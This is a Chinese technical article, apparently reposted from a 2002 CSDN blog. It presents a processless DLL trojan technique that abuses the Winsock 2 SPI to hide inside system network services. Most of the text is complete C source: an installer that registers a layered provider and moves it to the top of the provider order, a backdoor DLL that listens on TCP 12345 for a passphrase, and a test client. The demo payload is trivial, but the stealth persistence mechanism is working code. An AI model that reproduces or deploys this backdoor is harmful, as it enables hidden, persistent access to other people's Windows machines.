无进程DLL木马的又一开发思路与实现

来源:互联网 发布:淘宝官方营销活动 编辑:程序博客网 时间:2024/05/22 01:57

Author: TOo2y [原创]

  E-mail: TOo2y@safechina.net

  Homepage: www.safechina.net

  Date: 11-3-2002

  

  一.Windows下进程的隐藏

  二.Windows Socket 2 SPI技术概述

  三.基于SPI的DLL木马技术

  四.主要代码分析

  五.小结与后记

  六.附录之源代码

  

  一)Windows下进程的隐藏

  在M$的32位操作系统中,有许许多多的办法可以实现进程隐藏的功能。在Win98下将程序注册为系统服务就可以实现在进程列表里的隐藏,但是在NT/2000下,由于操作系统添加了许多特性使得进程的隐藏提到了一个新的高度。其中,DLL木马是非常流行的一种形式,它将自己添加到其他可执行文件的进程里,这样在任务管理器里就不会出现我们的DLL文件,而是我们DLL的载体EXE文件。在Jeffrey Richter大师的文章里提到了好几种插入DLL的方式,比如说在注册表的AppInit_DLLs里添加木马DLL,特洛伊DLL方式,使用Windows挂钩和远程线程的插入等等,在此我就不做详细介绍了。现在给大家介绍一种隐藏进程的新方法,它仍然是以DLL的形式存在的(同样需要由其他可执行文件来加载),而且还具有无端口的特性。它就是使用了Windows Socket 2的新特性,服务提供者接口(Service Provider Interface),SPI试图支持所有的32位Windows操作系统,当然也包括Windows95。

  

  二)Windows Socket 2 SPI技术概述

  Winsock 2 SPI是一个新特性,是为书写服务提供者的人员提供的。Winsock 2不仅提供了一个供应用程序访问网络服务的Windows socket应用程序编程接口(API),还包含了由传输服务提供者和名字解析服务提供者实现的Winsock服务提供者接口(SPI)和ws2_32.dll。在此以传输服务提供者为例来实现进程的隐藏。如下是应用程序,Ws2_32.dll和传输服务提供者接口之间的层次关系:

  ----------------------------

  |Windows socket 2 应用程序|

  ----------------------------Windows socket 2 API

  | WS2_32.DLL |

  ----------------------------Windows socket 2 传输SPI

  | 传输服务提供者(DLL) |

  ----------------------------

  传输服务提供者是以DLL的形式存在的,它向外只有一个入口函数,那就是WSPStartup,其中的参数LPWSAPRTOCOL_INFOW结构指针决定了服务提供者的类型,其他的30个传输服务提供者函数是以分配表的方式调用的。当网络应用程序调用WSASocket/socket函数创建套接字时,会有三个参数:地址族,套接字类型和协议,正是这三个参数共同决定了是由哪一个类型的传输服务提供者来实现本应用程序的功能。在整个层次结构中,Ws2_32.dll只是起到了媒介的作用,应用程序则是对用户功能的实现,而真正实现网络传输功能的是传输服务提供者接口。当前系统中有一些默认的服务提供者,它们已经实现了大部分基本的功能,所以我们自己在书写服务提供者程序时,只须对数据报进行“修饰”后,将数据报传送给系统服务提供者来实现剩下的功能。

  

  在服务提供者中有三种协议:分层协议,基础协议和协议链。区分它们的方法是通过结构WSAPROTOCOL_INFOW中的Protocolchain结构的ChainLen值来实现的。分层协议的ChainLen值为0,基础协议的值为1,而协议链的值是大于1。其实分层协议和基础协议在功能实现上没有太大的区别(均可通过调用系统服务提供者实现数据转发),但是在安装上却有很大的不同。安装基础协议时我们把所有的基础服务提供者的DLL文件名和路径都替换为我们自定义的基础协议;而安装分层协议后,我们还必须将和分层协议有关的各个协议组成协议链,然后再安装协议链。在所有的服务提供者都安装完后,我们还必须重新排列它们的安装顺序,这一点很重要。当我们的WSASocket/socket创建套接字时,Ws2_32.dll就会在服务提供者数据库中按顺序搜索和WSAStartup/socket提供的三个参数相匹配的服务提供者,如果同时有两个相同类型的服务提供者存在于服务提供者数据库中,那么顺序在前的那个服务提供者就会被调用。通常,在我们安装完自己的服务提供者后,都会将自己的服务提供者重新排列在最前面。在实例instBD.exe中,我们以分层协议为例,展示如何安装传输服务提供者。

  

  Ws2_32.dll是使用标准的动态链接库来加载服务提供者接口的DLL到系统中去的,并调用WSPStartup来初始化。WSPStartup是Windows Socket 2应用程序调用SPI程序的初始化函数,也就是入口函数。WSPStartup的参数LPWSAPROTOCOL_INFOW指针提供应用程序所期望的协议信息,然后通过这个结构指针我们可以获得所保存的系统服务提供者的DLL名称和路径,加载系统服务提供者后查找到系统SPI程序的WSPStartup函数的指针,通过这个指针我们就可以将自己服务提供者的WSPStartup函数和系统SPI程序的WSPStartup函数相关联,进而调用系统的各个服务提供者函数。在数据传输服务提供者的实现中,我们需要两个程序,一个是可执行文件用来安装传输服务提供者;另一个就是DLL形式的数据传输服务提供者。

  

  三)基于SPI的DLL木马技术

  上面我们已经介绍了传输服务提供者的特性,现在让我们来看看如果将这种技术运用于木马进程隐藏的。在每个操作系统中都有系统网络服务,它们是在系统启动时自动加载,而且很多是基于IP协议的。如果我们书写了一个IP协议的传输服务提供者,并安装在服务提供者数据库的最前端,系统网络服务就会加载我们的服务提供者。如果将木马程序嵌入到服务提供者的DLL文件之中,在启动系统网络服务时我们的木马程序也会被启动。这种形式的DLL木马只须被安装一次,而后就会被自动加载到可执行文件的进程中,还有一个特点就是它会被多个网络服务加载。通常在系统关闭时,系统网络服务才会结束,所以我们的木马程序同样可以在系统运行时保持激活状态。

  在传输服务提供者中,有30个SPI函数是以分配表的形式存在的。在Ws2_32.dll中的大多数函数都有与之对应的传输服务提供者函数。如WSPRecv和WSPSend,它们在Ws2_32.dll中的对应函数是WSARecv和WSASend。我们假设自己编写了一个基于IP协议的服务提供者并安装于系统之中,当系统重启时它被svchost.exe程序加载了,而且svchost.exe在135/TCP监听,完事具备了。在我们的传输服务提供者中,自己重新编写了WSPRecv函数,对接收到的数据进行分析,如果其中含有客户端发送过来的暗号,就执行相应的命令获得期望的动作,之后我们可以调用WSPSend函数将结果发送到客户端,这样不仅隐藏了进程,而且还重用了已有的端口。

  

  四)主要代码分析

  1.instBD.exe

  可执行程序instBD.exe的主要功能是安装我们自己的分层传输服务提供者,并重新排列所有传输服务提供者的顺序,使我们的服务提供者位于协议链的顶端,这样相应类型的应用程序就会首先进入我们的传输服务提供者接口。本程序只有一个参数,就是安装(-install)或卸载(-remove)。作为演示,本程序只安装了IP分层协议及与TCP相关的协议链。在backdoor.dll中,我们不对数据报进行任何修饰,只是在启动我们的木马进程。

  自定义函数:

  BOOL getfilter(); //获得所有已经安装的传输服务提供者

  void freefilter(); //释放存储空间

  void installfilter(); //安装分层协议,协议链及排序

  void removefilter(); //卸载分层协议和协议链

  

  代码分析:

  protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize);

  //分配WSAPROTOCOL_INFOW结构的存储空间

  totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode);

  //获得系统中已安装的所有服务提供者

  GetCurrentDirectory(MAX_PATH,filter_path);

  //得到当前的路径

  _tcscpy(filter_name,_T("//backdoor.dll"));

  //构造服务提供者文件backdoor.dll的路径全名

  WSCInstallProvider(&filterguid,filter_path,&iplayerinfo,1,&errorcode);

  //安装自定义的IP分层协议

  iplayercataid=protoinfo[i].dwCatalogEntryId;

  //获得已安装自定义IP分层协议的由Ws2_32.dll分配的唯一标志

  udpchaininfo.ProtocolChain.ChainEntries[0]=iplayercataid;

  //将自定义的IP分层协议作为自定义UDP协议链的根分层服务提供者安装在协议链的顶端

  WSCInstallProvider(&filterchainguid,filter_path,chainarray,provcnt,&errorcode);

  //安装协议链

  WSCWriteProviderOrder(cataentries,totalprotos);

  //更新所有服务提供者的安装顺序,把自定义的服务提供者排在所有协议的最前列

  WSCDeinstallProvider(&filterguid,&errorcode);

  //卸载IP分层协议

  WSCDeinstallProvider(&filterchainguid,&errorcode);

  //卸载协议链

  

  2.backdoor.dll

  传输服务提供者都是以动态链接库的形式存在的,在应用程序需要时由Ws2_32.dll加载,在用完之后就被卸载。传输服务提供者只有一个入口函数就是WSPStartup,它是Windows Socket 应用程序调用SPI的初始化函数,其他SPI函数的调用都是通过WSPStartup的参数WSPUPCALLTABLE来实现的。其中有个全局变量,可共所有调用DLL的程序读取与修改。在首次加载服务提供者时,我们启动木马进程。演示中木马进程没有任何特别的功能,当客户端和监听的服务器端口连接后,如果客户端发送了特定的暗号,服务端就会回送特定的消息。

  自定义函数:

  int WSPAPI WSPStartup( WORD wversionrequested,LPWSPDATA lpwspdata,LPWSAPROTOCOL_INFOW lpprotoinfo,

  WSPUPCALLTABLE upcalltable,LPWSPPROC_TABLE lpproctable);

  //SPI函数WSPStartup和Windows Socket 2的API函数WSAStartup相对应,WSPStartup是唯一的入口函数,剩下的30个SPI函数则是通过参数upcalltable来实现的,它们只能在内部调用,不向外提供入口

  

  代码分析:

  hthread=CreateThread(NULL,0,backdoor,NULL,0,NULL);

  //创建木马进程,它只是展示数据的流通

  GetModuleFileName(NULL,processname,MAX_PATH);

  //获得调用本服务提供者动态链接库的可执行文件的全名

  OutputDebugString(_T("Start the backdoor ..."));

  //输出调试信息

  layerid=protoinfo[i].dwCatalogEntryId;

  //获得已安装自定义IP分层协议的由Ws2_32.dll分配的唯一标志

  nextlayerid=lpprotoinfo-〉ProtocolChain.ChainEntries[i+1];

  //获得下一层传输服务提供者的标志信息

  WSCGetProviderPath(&protoinfo[i].ProviderId,filterpath,&filterpathlen,&errorcode);

  //获得下一层传输服务提供者的安装路径

  ExpandEnvironmentStrings(filterpath,filterpath,MAX_PATH);

  //扩展环境变量

  hfilter=LoadLibrary(filterpath));

  //装载下一层传输服务提供者

  wspstartupfunc=(LPWSPSTARTUP)GetProcAddress(hfilter,"WSPStartup"));

  //获得下一层传输服务提供者的入口函数WSPStartup,以便调用

  wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable);

  //调用下一层传输服务提供者的WSPStartup函数,实现钩子功能

  nextproctable=*lpproctable;

  //保存下一层服务提供者的30个服务函数指针

  

  由于以动态链接库形式的服务提供者要向外提供一个入口函数,因此还须一个配置文件backdoor.def:

  EXPORTS WSPStartup

  //向外提供入口函数WSPStartup

  

  3.testBD.exe

  这是一个测试程序,用来检测木马的服务器端是否正常工作。在它发送特定的消息到服务器端后,如果服务器正常工作就会回送特定的消息,反之则不会收到任何消息。由于木马的服务器在TCP的12345端口监听,所以我们的客户端也是基于TCP协议的。

  

  五)小结与后记

  本文的目的在于向大家介绍一种编程思路,固不是任何的木马教程。其实只有在不断的对抗中,技术和思路才会不断的提高。我们只有充分的了解了各种技术,甚至有前瞻的能力才能维护好网络秩序,促进网络安全的发展。最后送给大家一句老话:知己知彼,百战不殆。

  

  六)附录之源代码

  1.instBD.exe的源代码

  

  #define UNICODE

  #define _UNICODE

  

  #include 〈stdio.h〉

  #include 〈tchar.h〉

  #include 〈string.h〉

  #include 〈ws2spi.h〉

  #include 〈sporder.h〉

  

  

  GUID filterguid={0xc5fabbd0,0x9736,0x11d1,{0x93,0x7f,0x00,0xc0,0x4f,0xad,0x86,0x0d}};

  

  GUID filterchainguid={0xf9065320,0x9e90,0x11d1,{0x93,0x81,0x00,0xc0,0x4f,0xad,0x86,0x0d}};

  

  BOOL getfilter();

  void freefilter();

  void installfilter();

  void removefilter();

  void start();

  void usage();

  

  int totalprotos=0;

  DWORD protoinfosize=0;

  LPWSAPROTOCOL_INFOW protoinfo=NULL;

  

  int main(int argc,char *argv[])

  {

  start();

  

  if(argc==2)

  {

  if(!strcmp(argv[1],"-install"))

  {

  installfilter();

  return 0;

  }

  else if(!strcmp(argv[1],"-remove"))

  {

  removefilter();

  return 0;

  }

  }

  usage();

  return 0;

  }

  

  BOOL getfilter()

  {

  int errorcode;

  

  protoinfo=NULL;

  totalprotos=0;

  protoinfosize=0;

  

  if(WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode)==SOCKET_ERROR)

  {

  if(errorcode!=WSAENOBUFS)

  {

  printf("First WSCEnumProtocols Error: %d/n",errorcode);

  return FALSE;

  }

  }

  

  if((protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize))==NULL)

  {

  printf("GlobalAlloc in getfilter Error: %d/n",GetLastError());

  return FALSE;

  }

  

  if((totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode))==SOCKET_ERROR)

  {

  printf("Second WSCEnumProtocols Error: %d/n",GetLastError());

  return FALSE;

  }

  

  printf("Found %d protocols!/n",totalprotos);

  return TRUE;

  }

  

  void freefilter()

  {

  GlobalFree(protoinfo);

  }

  

  void installfilter()

  {

  int i;

  int provcnt;

  int cataindex;

  int errorcode;

  BOOL rawip=FALSE;

  BOOL tcpip=FALSE;

  DWORD iplayercataid=0,tcporigcataid;

  TCHAR filter_path[MAX_PATH];

  TCHAR filter_name[MAX_PATH];

  TCHAR chainname[WSAPROTOCOL_LEN+1];

  LPDWORD cataentries;

  WSAPROTOCOL_INFOW iplayerinfo,tcpchaininfo,chainarray[1];

  

  getfilter();

  

  for(i=0;i〈totalprotos;i++)

  {

  if(!rawip

  && protoinfo[i].iAddressFamily==AF_INET

  && protoinfo[i].iProtocol==IPPROTO_IP)

  {

  rawip=TRUE;

  memcpy(&iplayerinfo,&protoinfo[i],sizeof(WSAPROTOCOL_INFOW));

  iplayerinfo.dwServiceFlags1=protoinfo[i].dwServiceFlags1 & (~XP1_IFS_HANDLES);

  }

  

  if(!tcpip

  && protoinfo[i].iAddressFamily==AF_INET

  && protoinfo[i].iProtocol==IPPROTO_TCP)

  {

  tcpip=TRUE;

  tcporigcataid=protoinfo[i].dwCatalogEntryId;

  memcpy(&tcpchaininfo,&protoinfo[i],sizeof(WSAPROTOCOL_INFOW));

  tcpchaininfo.dwServiceFlags1=protoinfo[i].dwServiceFlags1 & (~XP1_IFS_HANDLES);

  }

  }

  

  _tcscpy(iplayerinfo.szProtocol,_TEXT("IP FILTER"));

  iplayerinfo.ProtocolChain.ChainLen=LAYERED_PROTOCOL;

  

  

  if(GetCurrentDirectory(MAX_PATH,filter_path)==0)

  {

  printf("GetCurrentDirectory Error: %d/n",GetLastError());

  return ;

  }

  _tcscpy(filter_name,_TEXT("//backdoor.dll"));

  _tcscat(filter_path,filter_name);

  

  if(WSCInstallProvider(&filterguid,filter_path,&iplayerinfo,1,&errorcode)==SOCKET_ERROR)

  {

  printf("WSCInstallProvider Error: %d/n",errorcode);

  return ;

  }

  

  freefilter();

  

  getfilter();

  

  for(i=0;i〈totalprotos;i++)

  {

  if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0)

  {

  iplayercataid=protoinfo[i].dwCatalogEntryId;

  break;

  }

  }

  

  provcnt=0;

  if(tcpip)

  {

  swprintf(chainname,_TEXT("TCP FILTER"));

  _tcscpy(tcpchaininfo.szProtocol,chainname);

  if(tcpchaininfo.ProtocolChain.ChainLen==BASE_PROTOCOL)

  {

  tcpchaininfo.ProtocolChain.ChainEntries[1]=tcporigcataid;

  }

  else

  {

  for(i=tcpchaininfo.ProtocolChain.ChainLen;i〉0;i--)

  {

  tcpchaininfo.ProtocolChain.ChainEntries[i+1]=tcpchaininfo.ProtocolChain.ChainEntries[i];

  }

  }

  

  tcpchaininfo.ProtocolChain.ChainLen++;

  tcpchaininfo.ProtocolChain.ChainEntries[0]=iplayercataid;

  

  memcpy(&chainarray[provcnt++],&tcpchaininfo,sizeof(WSAPROTOCOL_INFOW));

  }

  

  if(WSCInstallProvider(&filterchainguid,filter_path,chainarray,provcnt,&errorcode)==SOCKET_ERROR)

  {

  printf("WSCInstallProvider for chain Error: %d/n",errorcode);

  return ;

  }

  

  freefilter();

  

  getfilter();

  

  if((cataentries=(LPDWORD)GlobalAlloc(GPTR,totalprotos*sizeof(WSAPROTOCOL_INFOW)))==NULL)

  {

  printf("GlobalAlloc int installfilter Error: %d/n",errorcode);

  return ;

  }

  

  cataindex=0;

  for(i=0;i〈totalprotos;i++)

  {

  if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0

  || memcmp(&protoinfo[i].ProviderId,&filterchainguid,sizeof(GUID))==0)

  {

  cataentries[cataindex++]=protoinfo[i].dwCatalogEntryId;

  }

  }

  

  for(i=0;i〈totalprotos;i++)

  {

  if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))!=0

  && memcmp(&protoinfo[i].ProviderId,&filterchainguid,sizeof(GUID))!=0)

  {

  cataentries[cataindex++]=protoinfo[i].dwCatalogEntryId;

  }

  }

  

  if((errorcode==WSCWriteProviderOrder(cataentries,totalprotos))!=ERROR_SUCCESS)

  {

  printf("WSCWriteProviderOrder Error: %d/n",GetLastError());

  return ;

  }

  

  freefilter();

  }

  

  void removefilter()

  {

  int errorcode;

  

  if(WSCDeinstallProvider(&filterguid,&errorcode)==SOCKET_ERROR)

  {

  printf("WSCDeinstall filterguid Error: %d/n",errorcode);

  }

  

  if(WSCDeinstallProvider(&filterchainguid,&errorcode)==SOCKET_ERROR)

  {

  printf("WSCDeinstall filterchainguid Error: %d/n",errorcode);

  }

  return ;

  }

  

  void start()

  {

  printf("Install BackDoor, by TOo2y/n");

  printf("E-mail: TOo2y@safechina.net/n");

  printf("Homepage: www.safechina.net/n");

  printf("Date: 11-3-2002/n/n");

  return ;

  }

  void usage()

  {

  printf("instBD [ -install | -remove]/n");

  return ;

  }

  

  

  2.backdoor.dll的源代码

  

  #pragma data_seg("Shared")

  int dllcount=0;

  #pragma data_seg()

  #pragma comment (linker,"/section:Shared,rws")

  

  #define UNICODE

  #define _UNICODE

  

  #include 〈ws2spi.h〉

  #include 〈tchar.h〉

  #include 〈winsock2.h〉

  

  GUID filterguid={0xc5fabbd0,0x9736,0x11d1,{0x93,0x7f,0x00,0xc0,0x4f,0xad,0x86,0x0d}};

  

  LPWSAPROTOCOL_INFOW protoinfo=NULL;

  WSPPROC_TABLE nextproctable;

  DWORD protoinfosize=0;

  HANDLE hmutex;

  HANDLE hthread;

  POINT nowpt;

  int totalprotos=0;

  

  DWORD WINAPI backdoor(LPVOID)

  {

  SOCKET sock,sockt;

  WSADATA wsa;

  int iret=0;

  char msg[25];

  struct sockaddr_in sin;

  

  if(WSAStartup(MAKEWORD(2,2),&wsa))

  {

  OutputDebugString(_T("WSAStartup Error!"));

  return 0;

  }

  

  if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)

  {

  OutputDebugString(_T("Socket Error!"));

  return 0;

  }

  

  sin.sin_addr.s_addr=htons(INADDR_ANY);

  sin.sin_family=AF_INET;

  sin.sin_port=htons(12345);

  

  if(bind(sock,(struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)

  {

  OutputDebugString(_T("Bind Error!"));

  return 0;

  }

  

  if(listen(sock,5)==SOCKET_ERROR)

  {

  OutputDebugString(_T("Listen Error!"));

  return 0;

  }

  

  while(1)

  {

  if((sockt=accept(sock,NULL,NULL))==SOCKET_ERROR)

  {

  OutputDebugString(_T("Accept Error!"));

  continue;

  }

  

  

  if((iret==recv(sockt,msg,sizeof(msg),0))==SOCKET_ERROR)

  {

  OutputDebugString(_T("Recv Error!"));

  closesocket(sockt);

  continue;

  }

  

  if(strstr(msg,"i am TOo2y"))

  {

  memset(msg,0,sizeof(msg));

  memcpy(msg,"i am waiting for you !",sizeof(msg)-1);

  

  if((iret==send(sockt,msg,sizeof(msg),0))==SOCKET_ERROR)

  {

  OutputDebugString(_T("Send Error!"));

  closesocket(sockt);

  continue;

  }

  }

  OutputDebugString(_T("Transport Successfully"));

  closesocket(sockt);

  }

  return 1;

  }

  

  BOOL getfilter()

  {

  int errorcode;

  

  protoinfo=NULL;

  protoinfosize=0;

  totalprotos=0;

  

  if(WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode)==SOCKET_ERROR)

  {

  if(errorcode!=WSAENOBUFS)

  {

  OutputDebugString(_T("First WSCEnumProtocols Error!"));

  return FALSE;

  }

  }

  

  if((protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize))==NULL)

  {

  OutputDebugString(_T("GlobalAlloc Error!"));

  return FALSE;

  }

  

  if((totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode))==SOCKET_ERROR)

  {

  OutputDebugString(_T("Second WSCEnumProtocols Error!"));

  return FALSE;

  }

  

  return TRUE;

  }

  

  void freefilter()

  {

  GlobalFree(protoinfo);

  }

  

  BOOL WINAPI DllMain(HINSTANCE hmodule,

  DWORD reason,

  LPVOID lpreserved)

  {

  TCHAR processname[MAX_PATH];

  TCHAR showmessage[MAX_PATH+25];

  

  

  switch(reason)

  {

  case DLL_PROCESS_ATTACH:

  {

  GetModuleFileName(NULL,processname,MAX_PATH);

  _tcscpy(showmessage,processname);

  _tcscat(showmessage,_T(" Loading my dll ..."));

  OutputDebugString(showmessage);

  

  hmutex=CreateMutex(NULL,FALSE,NULL);

  WaitForSingleObject(hmutex,INFINITE);

  dllcount++;

  if(dllcount==1)

  {

  OutputDebugString(_T("Start the backdoor ..."));

  hthread=CreateThread(NULL,0,backdoor,NULL,0,NULL);

  }

  ReleaseMutex(hmutex);

  break;

  }

  case DLL_PROCESS_DETACH:

  {

  WaitForSingleObject(hmutex,INFINITE);

  dllcount--;

  if(dllcount==0)

  {

  CloseHandle(hthread);

  }

  ReleaseMutex(hmutex);

  CloseHandle(hthread);

  break;

  }

  }

  return TRUE;

  }

  

  

  int WSPAPI WSPStartup(

  WORD wversionrequested,

  LPWSPDATA lpwspdata,

  LPWSAPROTOCOL_INFOW lpprotoinfo,

  WSPUPCALLTABLE upcalltable,

  LPWSPPROC_TABLE lpproctable)

  {

  int i;

  int errorcode;

  int filterpathlen;

  DWORD layerid=0;

  DWORD nextlayerid=0;

  TCHAR *filterpath;

  HINSTANCE hfilter;

  LPWSPSTARTUP wspstartupfunc=NULL;

  

  if(lpprotoinfo-〉ProtocolChain.ChainLen〈=1)

  {

  OutputDebugString(_T("ChainLen〈=1"));

  return FALSE;

  }

  

  getfilter();

  

  for(i=0;i〈totalprotos;i++)

  {

  if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0)

  {

  layerid=protoinfo[i].dwCatalogEntryId;

  break;

  }

  }

  

  for(i=0;i〈lpprotoinfo-〉ProtocolChain.ChainLen;i++)

  {

  if(lpprotoinfo-〉ProtocolChain.ChainEntries[i]==layerid)

  {

  nextlayerid=lpprotoinfo-〉ProtocolChain.ChainEntries[i+1];

  break;

  }

  }

  

  filterpathlen=MAX_PATH;

  filterpath=(TCHAR*)GlobalAlloc(GPTR,filterpathlen);

  for(i=0;i〈totalprotos;i++)

  {

  if(nextlayerid==protoinfo[i].dwCatalogEntryId)

  {

  if(WSCGetProviderPath(&protoinfo[i].ProviderId,filterpath,&filterpathlen,&errorcode)==SOCKET_ERROR)

  {

  OutputDebugString(_T("WSCGetProviderPath Error!"));

  return WSAEPROVIDERFAILEDINIT;

  }

  break;

  }

  }

  

  if(!ExpandEnvironmentStrings(filterpath,filterpath,MAX_PATH))

  {

  OutputDebugString(_T("ExpandEnvironmentStrings Error!"));

  return WSAEPROVIDERFAILEDINIT;

  }

  

  if((hfilter=LoadLibrary(filterpath))==NULL)

  {

  OutputDebugString(_T("LoadLibrary Error!"));

  return WSAEPROVIDERFAILEDINIT;

  }

  

  if((wspstartupfunc=(LPWSPSTARTUP)GetProcAddress(hfilter,"WSPStartup"))==NULL)

  {

  OutputDebugString(_T("GetProcessAddress Error!"));

  return WSAEPROVIDERFAILEDINIT;

  }

  

  if((errorcode=wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable))!=ERROR_SUCCESS)

  {

  OutputDebugString(_T("wspstartupfunc Error!"));

  return errorcode;

  }

  

  nextproctable=*lpproctable;

  

  freefilter();

  return 0;

  }

  

  

  3.testBD.exe的源代码

  

  #include 〈winsock2.h〉

  #include 〈stdio.h〉

  #include 〈conio.h〉

  

  int main()

  {

  WSADATA wsa;

  SOCKET sock;

  struct sockaddr_in sin;

  char msg[25]="i am TOo2y";

  int iret;

  

  printf("===[ Test for SPI BackDoor ]===/n");

  printf("===[ TOo2y at 11-3-2002 ]===/n/n");

  

  if(WSAStartup(MAKEWORD(2,2),&wsa))

  {

  printf("WSAStartup Error: %d/n",WSAGetLastError());

  getche();

  return -1;

  }

  

  if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)

  {

  printf("Socket Error: %d/n",WSAGetLastError());

  getche();

  return -1;

  }

  

  sin.sin_addr.s_addr=inet_addr("127.0.0.1");

  sin.sin_family=AF_INET;

  sin.sin_port=htons(12345);

  

  if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)

  {

  printf("Connect Error: %d/n",WSAGetLastError());

  getche();

  return -1;

  }

  

  if((iret=send(sock,msg,sizeof(msg),0))==SOCKET_ERROR)

  {

  printf("Send Error: %d/n",WSAGetLastError());

  getche();

  return -1;

  }

  

  memset(msg,0,sizeof(msg));

  if((iret=recv(sock,msg,sizeof(msg),0))==SOCKET_ERROR)

  {

  printf("Recv Error: %d/n",WSAGetLastError());

  getche();

  return -1;

  }

  printf("Re: ");

  printf(msg);

  

  closesocket(sock);

  WSACleanup();

  getche();

  return 0;

  }

 

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/2195/archive/2004/08/31/89999.aspx

原创粉丝点击